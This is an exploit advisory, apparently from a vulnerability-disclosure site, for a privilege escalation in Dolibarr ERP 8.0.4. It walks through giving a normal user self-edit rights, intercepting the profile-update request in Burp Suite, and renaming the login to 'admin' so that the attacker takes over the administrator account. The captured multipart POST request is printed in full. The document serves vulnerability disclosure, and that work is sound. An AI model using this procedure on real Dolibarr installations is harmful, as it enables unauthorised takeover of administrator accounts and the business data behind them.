Dolibarr 8.0.4 - user privilege escalation

2019.02.07
Risk: Medium
Local: Yes
Remote: Yes
CVE: N/A
CWE: N/A

################################################################################################# # Exploit title : Dolibarr 8.0.4 - user privilege escalation # Google Dork : N/A # Date : 06.02.2019 # Exploit Author : Mikayıl İlyas / Cyber-warrior.org - Bug Researchers group # Vendor Homepage : https://dolibarr.org # Software download : https://sourceforge.net/projects/dolibarr/files/Dolibarr%20ERP-CRM/8.0.4/ # Version : 8.0.4 # Tested on : Windows 7 # CVE : # Vulnerability Type : user privilege escalation ################################################################################################# # Step by Step to vulnerable Hello friends. This security vulnerability is available in version 8.0.4 of the Dolibarr software. It is very simple to use. First, let's set up our Dolibarr script for testing. After making all adjustments, create a new user from the Dolibarr management panel. Screenshots: https://i.hizliresim.com/bVVr00.png # Then let's give the "Create / modify your own user information" and "Change own password" permissions to the Normal user we created. Screenshot: https://i.hizliresim.com/Wqq0vE.png # Let's login to the system with the new user. Screenshot: https://i.hizliresim.com/YQQD7a.png # Yes, we did this. Now click on the user panel. Screenshot: https://i.hizliresim.com/166LRD.png # After entering the user panel, click "Change" button. Screenshot: https://i.hizliresim.com/XMM056.png # Now let's run the Burp suite software and set the proxy. Screenshot 1: https://i.hizliresim.com/DYYPN6.png Screenshot 2: https://i.hizliresim.com/Emmga8.png # Yes friends. After that, let's make a change in our user panel and save it. Screenshot: https://i.hizliresim.com/JZZaRQ.png localhost request: POST /dolibarr/user/card.php?id=4 HTTP/1.1 Host: localhost:85 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost:85/dolibarr/user/card.php?id=4&action=edit Content-Type: multipart/form-data; boundary=---------------------------257512254329775 Content-Length: 3798 Connection: close Cookie: DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=65etle371s4vhk8tu3d7vk2qr0 Upgrade-Insecure-Requests: 1 -----------------------------257512254329775 Content-Disposition: form-data; name="token" $2y$10$xmymxx24s8wDTbPm8oIY8uleEK7DFsPwekUdPhanpSDg/UvC.nbKS -----------------------------257512254329775 Content-Disposition: form-data; name="action" update -----------------------------257512254329775 Content-Disposition: form-data; name="entity" 1 -----------------------------257512254329775 Content-Disposition: form-data; name="lastname" test user -----------------------------257512254329775 Content-Disposition: form-data; name="firstname" user test -----------------------------257512254329775 Content-Disposition: form-data; name="login" test_user -----------------------------257512254329775 Content-Disposition: form-data; name="password" -----------------------------257512254329775 Content-Disposition: form-data; name="admin" 0 -----------------------------257512254329775 Content-Disposition: form-data; name="superadmin" 0 -----------------------------257512254329775 Content-Disposition: form-data; name="gender" -1 -----------------------------257512254329775 Content-Disposition: form-data; name="employee" 1 -----------------------------257512254329775 Content-Disposition: form-data; name="fk_user" -1 -----------------------------257512254329775 Content-Disposition: form-data; name="address" CW -----------------------------257512254329775 Content-Disposition: form-data; name="zipcode" -----------------------------257512254329775 Content-Disposition: form-data; name="town" -----------------------------257512254329775 Content-Disposition: form-data; name="country_id" 0 -----------------------------257512254329775 Content-Disposition: form-data; name="state_id" 0 -----------------------------257512254329775 Content-Disposition: form-data; name="office_phone" -----------------------------257512254329775 Content-Disposition: form-data; name="user_mobile" -----------------------------257512254329775 Content-Disposition: form-data; name="office_fax" -----------------------------257512254329775 Content-Disposition: form-data; name="email" -----------------------------257512254329775 Content-Disposition: form-data; name="accountancy_code" -----------------------------257512254329775 Content-Disposition: form-data; name="color" -----------------------------257512254329775 Content-Disposition: form-data; name="photo"; filename="" Content-Type: application/octet-stream -----------------------------257512254329775 Content-Disposition: form-data; name="signature" -----------------------------257512254329775 Content-Disposition: form-data; name="job" -----------------------------257512254329775 Content-Disposition: form-data; name="weeklyhours" -----------------------------257512254329775 Content-Disposition: form-data; name="dateemployment" -----------------------------257512254329775 Content-Disposition: form-data; name="dateemploymentday" -----------------------------257512254329775 Content-Disposition: form-data; name="dateemploymentmonth" -----------------------------257512254329775 Content-Disposition: form-data; name="dateemploymentyear" -----------------------------257512254329775 Content-Disposition: form-data; name="birth" -----------------------------257512254329775 Content-Disposition: form-data; name="birthday" -----------------------------257512254329775 Content-Disposition: form-data; name="birthmonth" -----------------------------257512254329775 Content-Disposition: form-data; name="birthyear" -----------------------------257512254329775 Content-Disposition: form-data; name="save" Kaydet -----------------------------257512254329775-- # Now we do "normal_user" / change the username to "admin". Screenshot 1: https://i.hizliresim.com/lqqWzQ.png Screenshot 2: https://i.hizliresim.com/bVVGQm.png # After you do this, you will see a notification in the User panel that says "Your user name has been changed." And by checkout. "admin" password in the user name "normal user name you enter the password". Screenshot 1: https://i.hizliresim.com/nQQWkB.png That's it. more detailed : See you...


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top